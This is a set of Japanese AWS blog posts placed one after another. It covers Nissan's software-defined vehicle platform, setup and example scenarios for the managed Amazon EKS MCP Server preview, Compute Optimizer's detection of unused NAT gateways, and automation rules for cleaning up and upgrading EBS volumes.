アーキテクチャを組み合わせた設計を採用しています。 AWS Graviton プロセッサー上の Linux 環境から Amazon EC2 上の開発環境まで、一貫したコンテナ管理を可能にし、特に物理 ECU でのコンテナ運用において、リソースの制約が厳しい環境でも効率的な動作を実現しています。さらに、このアーキテクチャは将来の AI 駆動型車両開発を見据えたデジタルツイン環境との統合も視野に入れた設計で、革新的な取り組みとなっています。 図表5 出所：AWS これらの取り組みにより、日産自動車の SDV プラットフォーム「Nissan Scalable Open Software Platform」は、車両アプリケーションから電動パワートレイン、ボディ制御まで、幅広い領域での開発を効率的にサポートする基盤として機能しています。さらに、OTA システムやビリングシステムとの連携により、継続的な価値提供と新たなビジネス機会の創出を可能にしています。 今後の展望：AI活用による更なる進化 日産自動車は、今後も SDV の更なる発展に向けて、AI 技術の活用を積極的に推進していきます。 次世代ProPILOT では、市街地などのより複雑な交通環境を含む一般道において、熟練ドライバーのような運転を可能とした、信頼できる安全な運転支援技術を実現します。次世代 ProPILOT は、2025 年 9 月に開発試作車の運転能力を公開し、2027年度に国内の市販車への搭載を予定しています。これらの機能を支えるため AWS と連携して構築した 「Nissan Scalable Open Software Platform」 をさらに発展させ、Engineering Cloud 上での AI 開発環境の強化を進めていく予定です（図表6）。 図表6 出所：AWS まとめ 日産自動車が AWS との連携により 構築した SDV プラットフォーム「Nissan Scalable Open Software Platform」は、日産自動車にとって今後の自動車産業における競争力の源泉となることが期待されます。 AWS は今後も、日産自動車の「迅速かつ継続的な価値提供」「必要な安全性と性能の確保」「EV、HEV からガソリン車まですべての顧客への SDV 提供」の実現に向けた取り組みを支援していきます。本事例は、従来の製造業がいかにしてソフトウェア主導の開発モデルへと進化できるかを示す優れた実例となっており、同様の課題に取り組む他の企業の皆様にとっても参考になれば幸いです。 日産自動車株式会社　ソフトウエアデファインドビークル開発本部　ソフトウェア開発部部長　杉本 一馬様からのコメント 日産はこれまでも AWS と連携し、車載ソフトウェア開発における CI/CD のクラウド化を 2024 年から実プロジェクトに適用し、着実に開発の効率化をしてきました。この度、「Nissan Scalable Open Software Platform」を発表できたことを大変嬉しく思います。 Software-Defined Vehicle (SDV) でのソフトウェア開発は、日産がお客様へ革新的な価値を迅速かつ継続的に提供し、自動車産業の変革期をリードするための極めて重要な戦略であり、「Nissan Scalable Open Software Platform」はそのイネーブラーとなる Key technology です。 AWS の先進的なクラウド技術と専門知識は、グローバルな開発体制の効率化と、AI を活用した次世代のモビリティ実現に向けた私たちの取り組みを強力に推進してくれると確信しています。この SDV Platform を通じて、日産は未来のモビリティを創造し、お客様に新たな体験を提供してまいります。

この記事は Introducing the fully managed Amazon EKS MCP Server (preview) (記事公開日: 2025 年 11 月 21 日) を翻訳したものです。 複雑な kubectl コマンドや深い Kubernetes の専門知識の代わりに、シンプルな会話を通じて Amazon Elastic Kubernetes Service (Amazon EKS) クラスターを管理する方法を学びましょう。この記事では、新しいフルマネージド EKS Model Context Protocol (MCP) Server (プレビュー) を使用して、深い Kubernetes の専門知識を必要とせず、自然言語でアプリケーションのデプロイ、問題のトラブルシューティング、クラスターのアップグレードを行う方法を紹介します。複数ステップの手動タスクをシンプルな自然言語リクエストに変換する会話型 AI の実際のシナリオを説明します。 Kubernetes ワークロードを管理するチームには、コンテナオーケストレーション、インフラストラクチャ、ネットワーキング、セキュリティにわたる専門知識が必要です。大規模言語モデル (LLM) は開発者がコードを書いたりワークロードを管理したりするのに役立ちますが、リアルタイムのクラスターアクセスがなければ制限されます。古いトレーニングデータに基づく一般的な推奨事項は、実際のニーズを満たしません。 Model Context Protocol (MCP) は、AI モデルにクラスターデータへのリアルタイムの安全なアクセスを提供することで、この問題を解決します。 MCP は、AI モデルがより良いコンテキストのために外部ツールやデータソースに安全にアクセスできるようにするオープンソース標準です。EKS クラスターのリアルタイムでコンテキストに応じた知識で AI アプリケーションを強化する標準化されたインターフェースを提供し、開発から運用まで、アプリケーションライフサイクル全体を通じてより正確でカスタマイズされたガイダンスを可能にします。今年初め、AWS は MCP プロトコルのリリースから数か月以内に、MCP サーバーを 発表 した最初のマネージド Kubernetes サービスプロバイダーの 1 つでした。お客様は EKS と Kubernetes リソース管理のために、この EKS MCP Server をマシンにインストールできました。この初期のローカルインストール可能なバージョンの EKS MCP Server により、私たちはアプローチを迅速に検証し、貴重なお客様のフィードバックを収集することができ、それが今日の発表に直接つながっています。 私たちが受け取った最も一貫したフィードバックは、クラウドホスト型のフルマネージド EKS MCP Server の必要性についてでした。本日、AWS はフルマネージド Amazon EKS MCP Server (プレビュー) をリリースしました。新しいホスト型 EKS MCP Server は、本番環境に不可欠な機能で以前のリリースを改善しています。 インストールとメンテナンスの排除 : バージョン更新の管理やローカルサーバーの問題のトラブルシューティングは不要です。軽量プロキシを通じてホスト型 EKS MCP Server エンドポイントに接続するように AI アシスタントを設定することで、新しいツール、機能、バグ修正を自動的に受け取ります。 一元化されたアクセス管理 : AWS Identity and Access Management (IAM) との深い統合により、サーバーへのアクセスを制御する一元化された安全な方法が提供されます。すべてのリクエストは AWS Signature Version 4 (SigV4) を使用して署名され、既存の AWS 認証情報と IAM ポリシーとのシームレスな統合が可能になります。 強化されたトラブルシューティング : 大規模に数百万の Kubernetes クラスターを管理した運用経験から構築されたナレッジベースへのアクセス。 強化された監視と可視性 : AWS CloudTrail 統合により、ホストされたサービスを通じて行われたすべてのツール呼び出しがキャプチャされ、AI 支援操作の詳細な監査証跡とコンプライアンスレポートが可能になります。 フルマネージド EKS MCP Server の目標は、 Kiro (IDE と CLI) 、 Cursor 、 Cline などの AI を活用した開発ツールを使用している場合でも、EKS クラスターとインターフェースする必要がある独自のエージェントを構築している場合でも、エージェント体験を可能にすることです。この標準化されたインターフェースにより、MCP 互換の AI ツールは、すぐに強力な EKS ガイダンスと自動化を提供できるようになりました。 ホスト型 MCP サーバーに加えて、 Amazon Q とのより深い統合を通じて、Amazon EKS コンソールのトラブルシューティング体験も大幅に改善しています。強化されたコンソールでは、オブザーバビリティダッシュボードのエラーメッセージのすぐ横に AI を活用したトラブルシューティングオプションが表示されます。ワンクリックで根本原因を診断し、修正手順を確認できます。クラスター、コントロールプレーン、ノードヘルスの問題を調査している場合でも、問題の一覧または詳細ビューから直接「Amazon Q で検査」をクリックして調査を開始できます。コンソール統合により、クラスターのヘルスと今後のアップグレードに関する重要な詳細が明らかになり、本番ワークロードに影響を与える前に問題を発見できます。 Amazon EKS MCP Server ツール EKS MCP Server は、問題の診断と EKS クラスターとその Kubernetes コンポーネントの両方を制御するための専門ツールを提供します。これらのツールは次のカテゴリに分類されます。 クラスター管理ツール – EKS クラスターの作成と管理 Kubernetes リソース管理 – Kubernetes コマンドに依存せずに EKS クラスター内の Kubernetes リソースを操作および管理します。 アプリケーションデプロイ – アプリケーションをデプロイするための Kubernetes マニフェストを生成します。 トラブルシューティング – 大規模に Kubernetes クラスターを実行する AWS の運用知識から得られたトラブルシューティングガイドを提供します。 ドキュメントとナレッジベース – 最新の情報とベストプラクティスのために AWS ドキュメントとナレッジベースを検索します。 ツールの完全なリストについては、EKS MCP Server ユーザーガイド をご覧ください。 Amazon EKS MCP Server の使用開始 前提条件 AWS 設定: この機能を使用するには、AWS CLI がマシンにインストールされ、設定されている必要があります。MCP 設定で使用するプロファイルを設定するには、ドキュメント「 Configuration and credential file settings in the AWS CLI 」に従ってください。このブログ記事のシナリオでは、AWS プロファイルは us-west-2 リージョンへのアクセスで設定する必要があります。 MCP クライアント: MCP をサポートする多くのエージェントツールの 1 つを使用できます。このブログ記事では、クライアントとして Kiro CLI を使用します。Kiro CLI の MCP クライアント設定をセットアップするには、 MCP 設定ファイル仕様 に従ってください。 Python 環境: Python の uv パッケージマネージャーがインストールされている 必要があります。パッケージマネージャーは mcp-proxy-for-aws パッケージを自動的にダウンロードして実行するため、個別にインストールする必要はありません。MCP プロキシにより、クライアントは AWS SigV4 認証を使用してリモートの AWS ホスト型 MCP サーバーに接続できます。 AWS Identity and Access Management (IAM) アクセス許可 : AWS プロファイルには、EKS クラスターの読み取り、CloudWatch ログへのアクセス、Kubernetes リソースの表示のための EKS 関連の IAM アクセス許可が必要です。AWS プロファイルへのアクセスを許可する際は、最小権限の原則に従ってください。MCP Server への接続に使用されるロールには、初期化と利用可能なツールに関する情報の取得のために IAM eks-mcp:InvokeMcp のアクセス許可が必要です。読み取り専用ツールの使用には eks-mcp:CallReadOnlyTool が必要で、フルアクセス (書き込み) ツールの使用には eks-mcp:CallPrivilegedTool が必要です。 設定 フルマネージド EKS MCP Server アーキテクチャは、AWS SigV4 認証を使用して MCP クライアントを AWS サービスに安全に接続します。次の図は通信フローを示しています。 図 1: AI クライアントと AWS サービス間の MCP 通信フローを示すアーキテクチャ図 Kiro CLI の設定例を次に示します。 { "mcpServers": { "eks-mcp": { "disabled": false, "type": "stdio", "command": "uvx", "args": [ "mcp-proxy-for-aws@latest", "https://eks-mcp.us-west-2.api.aws/mcp", "--service", "eks-mcp", "--profile", "default", "--region", "us-west-2" ] } } } エンドポイント URL https://eks-mcp.{AWS_REGION}.api.aws/mcp の us-west-2 リージョンに注目してください。これは MCP Server がホストされているリージョンです。 --profile フラグは、MCP Server への接続に使用されるローカル AWS プロファイルを参照します。このフラグはオプションで、環境変数 AWS_PROFILE を使用できます。 --region フラグは、作業対象の EKS クラスターをスコープするリージョンを参照します。このフラグはオプションで、環境変数 AWS_REGION を使用できます。 --read-only フラグを使用して、読み取り専用ツールのみが許可されることを示すことができます。 ツールアクセスレベル EKS MCP Server は 2 つのアクセスレベルをサポートしています。 読み取り専用モード ( --read-only フラグ): すべての読み取り操作とドキュメントツールへのアクセスを提供 フルアクセスモード : すべての読み取り専用ツールに加えて、クラスター作成、リソース管理、ポリシー変更などの書き込み操作を含む 各ツールは、特定の aws eks または kubectl CLI コマンドを置き換えるように設計されており、MCP プロトコルを通じた EKS の管理のためのより統合された体験を提供します。 シナリオ 1: 会話型 AI による EKS クラスターのアップグレード EKS インサイトを使用してクラスターのアップグレード準備状況を評価する EKS MCP Server の機能は重要な機能です。このセクションでは、EKS クラスターが Kubernetes バージョンのアップグレードの準備ができているかどうかを確認する方法を示します。 アップグレード準備状況の確認 プロセスには 3 つの簡単なステップが含まれます。 利用可能なクラスターを一覧表示 して、確認するクラスターを特定する アップグレード準備状況のインサイトを取得 して互換性を評価する EKS ドキュメントを検索 してタイムラインを特定する 実際の例を見てみましょう。 1. EKS クラスターの一覧表示 まず、次のプロンプトから始めます。 Assess my EKS Auto cluster's upgrade readiness, including support status, upgrade timeline, and any blocking issues (翻訳: my EKS Auto cluster のアップグレード準備状況を、サポート状況、アップグレードタイムライン、ブロッキング問題を含めて評価してください) エージェントは list_eks_resources を使用して利用可能なクラスターを検出し、 describe_eks_resource を介して設定を取得します。 図 2: 利用可能な EKS クラスター「my-auto-cluster」を表示するターミナル出力のスクリーンショット これは、評価に利用可能な「my-auto-cluster」という名前のクラスターが 1 つあることを示しています。 2. アップグレード準備状況インサイトの確認 次に、エージェントは UPGRADE_READINESS カテゴリで get_eks_insights ツールを使用して、クラスターのアップグレード準備状況を評価します。 図 3: EKS クラスターのアップグレード準備状況インサイトを示すターミナル出力 3. EKS ドキュメントの検索 最後に、エージェントはアップグレードのタイムラインと価格について EKS ドキュメントを検索します。 図 4: アップグレードタイムラインの EKS ドキュメント検索結果を表示するターミナル出力 アップグレード準備状況レポート インサイト分析に基づいて、包括的なアップグレード準備状況レポートを次に示します。 図 5: すべての互換性チェックが合格していることを示す包括的なアップグレード準備状況レポート クラスター「my-auto-cluster」は Kubernetes 1.33 へのアップグレードの準備が完全に整っています。すべての重要な互換性チェックが合格しており、アップグレードを阻害する問題は特定されませんでした。 アップグレードに EKS MCP を使用する主な利点 自動評価 : 複数のコンポーネントを手動で確認する必要がありません 包括的なカバレッジ : アドオン、ノードの互換性、クラスターのヘルスを評価します 明確なガイダンス : 各チェック結果の具体的な理由を提供します プロアクティブな警告 : 問題がブロッカーになる前に潜在的な問題を特定します EKS Auto Mode の認識 : 最新の EKS デプロイパターンを理解します アップグレード前に互換性を自動的にチェックすることで、準備にかかる時間が短縮され、デプロイの失敗が減少します。 シナリオ 2: 自然言語によるアプリケーションのデプロイ EKS MCP Server は、自然言語プロンプトを通じて高レベルのワークフローを可能にします。たとえば、ユーザーは次のようにリクエストできます。 I want to deploy a simple web app to my EKS cluster named my-auto-cluster that shows 'Hello EKS!' on the page. Use the image from public.ecr.aws/docker/library/httpd:2 as the base, customize it with my message, push it to ECR as linux amd64, and make it accessible from the internet using a load balancer (翻訳: my-auto-cluster という名前の EKS クラスターに、ページに「Hello EKS!」と表示するシンプルな Web アプリをデプロイしたいです。 public.ecr.aws/docker/library/httpd:2 のイメージをベースとして使用し、メッセージでカスタマイズし、linux amd64 として ECR にプッシュし、 ロードバランサーを使用してインターネットからアクセスできるようにしてください) エージェント (Kiro CLI) は、このワークフローを完了するために複数の EKS MCP ツールを調整します。 主要な EKS MCP ツールの動作 1. アプリケーションマニフェストの生成 generate_app_manifest ツールは、最小限の入力で本番環境対応の Kubernetes マニフェストを作成し、デプロイ、サービス、ロードバランサーを自動的に設定します。 図 6: Web デプロイ用のアプリケーションマニフェスト生成を示すターミナル出力 2. 効率化されたデプロイ apply_yaml ツールは、複雑な kubectl ワークフローを置き換えて、単一の操作でマルチリソースの YAML 設定をデプロイします。 図 7: Kubernetes クラスターへの YAML デプロイを示すターミナル出力 3. リソースの検出とステータス list_k8s_resources と read_k8s_resource ツールを組み合わせて、インテリジェントなフィルタリングでデプロイされたリソースを検出し、詳細な設定を取得します。 図 8: デプロイされたアプリケーションのリソース検出とステータスを示すターミナル出力 4. アプリケーションログとイベント get_pod_logs と get_k8s_events ツールを組み合わせて、コンテナログと Kubernetes イベントの両方を表示する包括的なデバッグ機能を提供します。 図 9: アプリケーションログと Kubernetes イベントを表示するターミナル出力 5. CloudWatch オブザーバビリティ get_eks_metrics_guidance 、 get_cloudwatch_metrics 、 get_cloudwatch_logs ツールを組み合わせて、完全なオブザーバビリティのセットアップと監視を提供します。 図 10: CloudWatch オブザーバビリティメトリクスとログのセットアップを示すターミナル出力 デプロイの概要 完全なデプロイワークフローは、EKS MCP ツールがシームレスに連携する力を示しています。 図 11: マニフェストから監視までの完全なワークフローを示すデプロイ概要 EKS MCP Server は、複数ステップのデプロイを単一の会話リクエストに変換し、各段階で情報を提供しながら、オーケストレーション、エラー、監視を処理します。 結果として、AWS の Network Load Balancer を介してアクセス可能な完全なウェブアプリケーションができあがりました。EKS MCP サーバーがどのように複雑なデプロイワークフローを簡単な会話型のリクエストに簡略化できるかがわかります。 シナリオ 3: インフラストラクチャの問題のトラブルシューティング 問題が Kubernetes と AWS インフラストラクチャの境界をまたぐ場合、EKS MCP Server は効果的に診断します。 My LoadBalancer service hello-eks-app in the default namespace on my EKS cluster my-auto-cluster is stuck in pending state and not getting an external IP. Can you help me troubleshoot what's wrong and fix it? (翻訳: my-auto-cluster という EKS クラスターの default 名前空間にある LoadBalancer サービス hello-eks-app が pending 状態で 止まっており、外部 IP を取得できません。何が問題なのかトラブルシューティングして修正していただけますか？) エージェントは、問題を診断して解決するために複数の EKS MCP ツールを調整しました。 主要な EKS MCP ツールの動作 1. サービスステータス分析 read_k8s_resource ツールは LoadBalancer サービスの設定とステータスを取得し、サービスが作成されたにもかかわらず外部 IP が割り当てられていないことを明らかにしました。 図 12: LoadBalancer サービスステータス分析を示すターミナル出力 2. イベント調査 get_k8s_events ツールはサービスの Kubernetes イベントを調査し、サブネットに必要な kubernetes.io/role/elb タグが欠落していることを示す重要なエラーメッセージを発見しました。 図 13: サブネットタグの問題を明らかにする Kubernetes イベントを表示するターミナル出力 3. トラブルシューティングナレッジベース search_eks_troubleshooting_guide ツールは、LoadBalancer サービスの問題とサブネットタグの要件に関するガイダンスについて、専門の EKS トラブルシューティングナレッジベースを検索しました。 図 14: EKS トラブルシューティングガイドの検索結果を示すターミナル出力 4. インフラストラクチャ分析 get_eks_vpc_config ツールは包括的な VPC とサブネット設定の詳細を取得し、欠落しているタグが必要な特定のパブリックサブネットを特定しました。 図 15: VPC とサブネット設定の詳細を表示するターミナル出力 トラブルシューティングの概要 完全なトラブルシューティングワークフローは、EKS MCP ツールが Kubernetes と AWS ドメインをどのように橋渡しするかを示しています。 図 16: 診断手順と解決策を示すトラブルシューティングワークフローの概要 これは、EKS MCP Server が通常 Kubernetes と AWS インフラストラクチャの両方の専門知識を必要とする包括的なトラブルシューティングを可能にし、複雑な診断ワークフローを単一の会話インターフェースに統合する方法を示しています。 Amazon Q による強化された EKS コンソール体験 Amazon EKS は、Amazon Q 統合を通じて、CLI や IDE を超えてコンソールに直接エージェント体験をもたらします。「Amazon Q で検査」機能は、オブザーバビリティダッシュボード全体に表示され、トラブルシューティングと分析のためのコンテキストに応じた AI 支援を提供します。 統合された AI 支援 「Amazon Q で検査」ボタンは、複数のコンソールセクションに戦略的に配置されています。 クラスターのヘルスの問題 : ヘルスの問題が検出されると、「検査」をクリックして、無効化された KMS キーや設定の問題などの問題に対する AI を活用した分析と修復の提案を取得できます。 図 17: クラスターのヘルスの問題に対する「Amazon Q で検査」ボタンを示す EKS コンソールのスクリーンショット アップグレードインサイト : アップグレード準備状況チェックの場合、検査機能は互換性の問題、バージョンスキューの問題、推奨されるアクションの詳細な説明を提供します。 図 18: アップグレードインサイトの警告に対する「Amazon Q で検査」ボタンを示す EKS コンソールのスクリーンショット ノードヘルスのモニタリング : 個々のノードの問題は、検査機能を通じて分析でき、ノードのステータスと基盤となるインフラストラクチャの問題を関連付けます。 図 19: ノードヘルスのステータスに対する「Amazon Q で検査」ボタンを示す EKS コンソールのスクリーンショット オブザーバビリティデータ : 破損した Webhook、HTTP エラーパターン、API サーバーの問題などの複雑なオブザーバビリティデータは、AI を活用した説明を通じてよりアクセスしやすくなります。 図 20: 破損した Kubernetes Webhook に対する「Amazon Q で検査」を示す EKS コンソールのスクリーンショット コンテキストインテリジェンス 検査機能は Amazon Q の機能を活用し、コンソールのコンテキスト内で直接インサイトを提示します。これにより、ツールを切り替えたり、異なる AWS サービス間で情報を手動で関連付けたりする必要がなくなります。視覚的なダッシュボードから会話型トラブルシューティングへシームレスに移行でき、さまざまなレベルの Kubernetes 専門知識を持つチームにとって EKS の管理がより直感的になります。 まとめ プレビュー版の Amazon EKS MCP Server は、自然言語を通じて複雑な操作をアクセス可能にすることで、チームが Kubernetes とやり取りする方法を変革します。プレビュー版の EKS MCP Server は、AWS GovCloud (米国) リージョンと中国リージョンを除くすべての AWS 商用リージョンで利用できます。複数のドメインにわたる深い専門知識を必要とする代わりに、チームは Kubernetes と AWS サービスをシームレスに橋渡しする会話インターフェースを通じて EKS クラスターを管理できるようになりました。 会話型の EKS の管理を体験する準備はできましたか？この記事のセットアップ手順を使用して、環境で EKS MCP Server を設定することから始めましょう。読み取り専用操作から始めてクラスターインサイトを探索し、チームが会話インターフェースに慣れるにつれて、徐々に完全な管理機能に拡張してください。Amazon EKS MCP Server の詳細については、 Amazon EKS ユーザーガイド をご覧ください。 翻訳はシニアパートナーソリューションアーキテクトの市川が担当しました。原文は こちら です。

本日より、AWS Compute Optimizer はアイドル状態のリソース検出機能を NAT ゲートウェイ にまで拡張します。昨年発表したコンピューティング、ストレージ、データベースリソースに対するアイドル状態のレコメンデーションに続き、使用されていない NAT ゲートウェイリソースを特定してクリーンアップすることで、アプリケーションの信頼性を維持しながら、さらなるコスト削減を実現できるようになりました。 使用されていない NAT ゲートウェイのレコメンデーションを利用する理由 NAT ゲートウェイのようなネットワークインフラストラクチャリソースは、クラウド支出の大きな部分を占めていますが、これらのコストの最適化には固有の課題があります。コンピューティングリソースとは異なり、NAT ゲートウェイは高可用性と災害復旧アーキテクチャにおいて重要な役割を果たすことが多く、どれが本当に使用されていないのか、あるいはどれが災害復旧やバックアップのコンポーネントとして機能しているのかを確実に識別することが困難です。 Compute Optimizer の NAT ゲートウェイのレコメンデーションでは、使用パターンの分析だけでなく、ルートテーブルの関連付けなどのアーキテクチャ上のコンテキストも調査します。この追加のコンテキストにより、本当に使用されていないリソースと、災害復旧のために維持されているリソースを区別することができます。これにより、高可用性の設定を保護しながら、ネットワークコストを最適化できます。 NAT ゲートウェイはどのように “使用されていない” と判断されるのか Compute Optimizer は、NAT ゲートウェイが以下の “使用されていない状態” の条件に該当するかどうかを判断するために、32 日間の Amazon CloudWatch メトリクスを分析します: アクティブな接続がないこと ( ActiveConnectionCount = 0) Amazon Virtual Private Cloud (VPC) 内のクライアントからの受信パケットがないこと ( PacketsInFromSource = 0) 送信先からの受信パケットがないこと ( PacketsInFromDestination = 0) バックアップ構成を保護するため、NAT ゲートウェイがルートテーブルに関連付けられているかどうかも確認します。トラフィックはゼロでもルートテーブルに関連付けられている NAT ゲートウェイは、多くの場合、ネットワークアーキテクチャにおけるスタンバイコンポーネントとして機能しています。ルートテーブルの関連付けを確認することで、このような重要なバックアップコンポーネントを削除対象として推奨しないようにしています。 本当に使用されていない NAT ゲートウェイについては、それらが災害復旧設定の一部かどうかを確認することをお勧めします。例えば、一部の組織では、フェイルオーバーイベント時にプログラムでルートテーブルを更新する AWS Lambda 関数を使用しており、プライマリに障害が発生した場合にのみ、バックアップ用の NAT ゲートウェイにトラフィックをリダイレクトします。このような場合、バックアップ用の NAT ゲートウェイは通常運用時にはトラフィックがゼロでルートテーブルの関連付けもないため、自動検出では「Unused」として使用されていないように表示されます。そのため、“使用されていない” とフラグが付けられた NAT ゲートウェイを削除する前に、高可用性と災害復旧のアーキテクチャを手動で確認することが不可欠です。 使用開始方法 Compute Optimizer にオプトインすると、24 時間以内に使用されていない NAT ゲートウェイのレコメンデーションが自動的に提供され始めます。これらのレコメンデーションは、Compute Optimizer コンソールの既存のアイドル状態のリソースの検出結果と並んで表示されます。 ダッシュボードで「アイドル状態のリソース」ページに移動すると、NAT ゲートウェイを含む、すべてのアイドル状態または使用されていないリソースの統合ビューが表示されます。テーブルには、対応すべきアクションの優先順位付けに役立つ、推定月間節約額 (Estimated monthly savings)、リソースの詳細、およびタグが表示されます: 図1. リソースタイプ別のレコメンデーション一覧表 使用されていない NAT ゲートウェイを個別に選択すると、そのリソースが “使用されていない” と判断された理由を示す使用率メトリクスの詳細ビューが表示されます。32 日間の分析期間における ActiveConnectionCount 、 PacketsInFromSource 、 PacketsInFromDestination のグラフが表示され、アクションを実行する前に “使用されていない状態” を確認できます: 図2. NAT ゲートウェイの詳細ビューとメトリクス これらのレコメンデーションには、Compute Optimizer API を使用してプログラムでアクセスすることもできます。既存の GetIdleRecommendations API で NAT ゲートウェイリソースが利用可能になりました。詳細については、 ユーザーガイド をご参照ください。 AWS Cost Optimization Hub との統合 使用されていない NAT ゲートウェイのレコメンデーションは AWS Cost Optimization Hub (コスト最適化ハブ) とも統合されており、既存のワークフローにネットワークの最適化を組み込むためのもう一つの選択肢を提供します。 Cost Optimization Hub では、これらの NAT ゲートウェイのレコメンデーションがコミットメントやライトサイジング (サイズ適正化) のレコメンデーションと並んで表示され、組織全体の最適化機会を包括的に確認できます。Cost Optimization Hub はレコメンデーション間で重複するコスト削減額を自動的に排除し、削減可能総額を正確に把握できるようにします。 まとめ AWS Compute Optimizer の “使用されていないリソース” の検出機能を NAT ゲートウェイまで拡張することにより、コンピューティング、ストレージ、データベースリソースと共にネットワークインフラストラクチャにも対応した、より包括的なコスト最適化戦略を実装できるようになりました。このサービスはアーキテクチャの状況を考慮するため、災害復旧とフェイルオーバー構成を保護しながら使用されていないリソースを特定でき、最適化を確実に進めることができます。 Compute Optimizer コンソール にアクセスするか、 ユーザーガイド で詳細を学んで、今日から始めましょう。 Nathan Yuan Nathan Yuan は AWS のシニアテクニカルプロダクトマネージャーで、アイドル状態の検出とライトサイジングのレコメンデーションを中心に、最適化製品を担当しています。データ主導のインサイトとクラウド最適化戦略を通じて、お客様のコスト効率化を支援する業務に注力しています。 翻訳はテクニカルアカウントマネージャーの堀沢が担当しました。原文は こちら です。

本日より、AWS Compute Optimizer は Amazon Elastic Block Store (EBS) ボリュームの最適化方法を効率化する新しい自動化機能を導入します。最適化作業に貴重なエンジニアリング時間を費やす代わりに、Compute Optimizer のデータに基づくレコメンデーションに従って、アタッチされていないボリュームの継続的なクリーンアップとボリュームタイプのアップグレードを行う自動化ルールを作成できるようになりました。これにより、チームは最も重要な業務に集中できるようになります。 レコメンデーションの確認と適用 自動化ルールを設定する前に、アクションを個別にテストしてレコメンデーションの内容をよく理解しておきましょう。新しい「推奨アクション (Recommended actions)」ページには、AWS Compute Optimizer を通じて直接実施できる最適化の機会が一覧表示されます。実施したいアクションを選択してクリックするだけで適用できます。利用可能な最適化アクションは 2 つあります： アタッチされていない Amazon EBS ボリュームのスナップショット作成と削除: EC2 インスタンスに 32 日以上アタッチされていないボリュームに推奨されます。Compute Optimizer はボリュームを削除する前にスナップショットを作成します。このレコメンデーション基準の詳細については、リソースごとのアイドル状態の基準をご参照ください。 Amazon EBS ボリュームタイプのアップグレード: gp2 から gp3 へ、io1 から io2 へのアップグレードを推奨します。新世代のボリュームタイプへのアップグレードは、従来のタイプと比べて低価格で優れた IOPS とスループット性能を提供するため、より優れたパフォーマンスとコスト効率を実現できます。 ボリューム ID をクリックすると、レコメンデーションの詳細を確認できます。AWS リージョンやリソースタグでフィルタリングして、最適化したいフリートの特定のセグメントを対象にできます。レコメンデーションを確認した後、適用したいアクションを選択し、次のページで確認して実装を開始します（図 1 を参照）。この手動のアプローチは、一回限りのクリーンアップ作業や、各アクションの確認が必要な場合の最適化プロセスの学習に最適です。 図 1: レコメンデーションの確認と適用 自動化ルールによる最適化の効率化 推奨アクションの内容を把握したら、自動化ルール (automation rules) を使用してリソース全体に実装を展開できます。Compute Optimizer は、ルールの基準に一致するたびに、定期的なスケジュールでレコメンデーションを適用します。 1 つの自動化ルールでグローバルに対応できるため、AWS リージョンごとに個別のルールを作成してデプロイする必要はありません。管理アカウントまたは委任管理者は、複数のアカウントにまたがる組織全体のルールを設定でき、一方でメンバーアカウントは特定のニーズに応じてルールを追加する柔軟性を維持できます (図 2 を参照)。 図 2: 組織用の自動化ルールの作成 特定の要件に合わせて自動化ルールを素早く設定できます。特定の地域を対象とするリージョン、本番環境と開発環境のワークロードを区別するためのリソースタグ (Resource tags)、中断のない最適化アクションをフィルタリングするための「restart needed」フラグなどの条件を指定できます。 条件を設定した後、一致する推奨アクションをプレビューして対象の選択を検証できます。条件に一致する現在の推奨アクションと、ルール条件を検証するためのすべてのアクションおよび推定月間節約額の概要を確認できます。 図 3: 自動化ルールの作成 ルールを日次、週次、または月次で実行するように設定すると、Compute Optimizer はその条件に照らして新しいレコメンデーションを継続的に評価します。これにより、新たに特定された “アタッチされていないボリューム” は自動的にスナップショットが作成されて削除され、古い世代のボリュームタイプはルールに従って自動的にアップグレードされます。手動での介入は必要ありません。 図 4: 定期的なスケジュールの設定 自動化イベントの監視 新しいダッシュボードでは、すべての自動化の状況を把握でき、ステータスと実行月ごとのイベント数と推定月間節約額の概要が表示されます。時間の経過に伴う自動化の進捗状況を追跡でき、必要に応じて最適化戦略を改善するのに役立ちます。 図 5: 自動化イベントの概要 同じダッシュボードで各自動化イベントの詳細を掘り下げることができます。各最適化のステータスを追跡し、各自動化の詳細なステップ履歴を確認し、財務的な影響を数値化できます。 図 6: 各自動化イベントの詳細の取得 安全性を最優先に 運用上の信頼性を提供しリスクを最小限に抑えるため、この機能には安全メカニズムが組み込まれています。自動化システムは、アクションを実行する前にリソースの適格性を確認するチェックを行い、指定した条件に一致するボリュームのみを対象とします。また、Compute Optimizer で実行された自動化アクションを元に戻すこともできます。例えば、削除の前に自動的にスナップショットが作成されるため、データは完全に復元可能な状態が維持され、新しいボリュームとして復元できます。これらの多層的な安全対策が連携して機能することで、大規模な自動化に必要な運用上の信頼性を提供します。 アクションを元に戻す必要がある場合は、「自動化イベント (Automation events)」ページから実行できます。ボリュームの削除の場合、AWS Compute Optimizer は作成されたスナップショットからデータを新しい Amazon EBS ボリューム (新しいボリューム ID を持つ) に復元します。ボリュームタイプのアップグレードの場合、Compute Optimizer は新しいボリューム変更を開始して以前の設定にボリュームタイプを変更することで、アクションを元に戻します。 図 7: 必要に応じて変更をロールバックする 始めるためのヒント すでに Compute Optimizer をご利用の場合は、コンソールの新しい「自動化 (Automation)」セクションに移動し、アカウントの自動化機能を有効にしてください。オプトインすると、AWS が必要なサービスリンクロールを自動的に作成します。管理アカウントから組織を管理している場合は、メンバーアカウントもオプトインできます。これにより、複数のアカウントにまたがって適用される組織全体のルールを作成できます。Compute Optimizer を初めて使用する場合は、コンソールで数回クリックするか API からで サービスを有効 にできます。 最初の自動化ルールは小規模に始めて、戦略的に規模を拡大してください。まずは非本番環境を対象にして、自動化プロセスへの確信を深めていきましょう。特定のアカウントを選択するか、「Environment: Development」や「Environment: Test」などのリソースタグに基づいてフィルタリングすることで、開発環境やテスト環境でアタッチされていない Amazon EBS ボリュームのクリーンアップに焦点を当てたルールを作成してください。 自動化の動作に慣れ、期待される結果を確認できたら、ルールの対象をステージング環境に、そして最終的に本番環境のワークロードへと徐々に拡大してください。また、日次の自動化に移行する前に、まずは週次または月次のスケジュールから始めることもできます。このアプローチにより、条件を微調整しながら運用に関する確信を深めることができ、フリート全体に展開する際には、自動化ルールが十分にテストされ、組織のビジネス要件に沿った状態になります。 まとめ AWS Compute Optimizer の新しい自動化機能を最適化のツールボックスに加えることで、チームがお客様のためのイノベーションにより多くの時間を費やしながら、継続的なコスト削減とパフォーマンスの向上を追求できます。 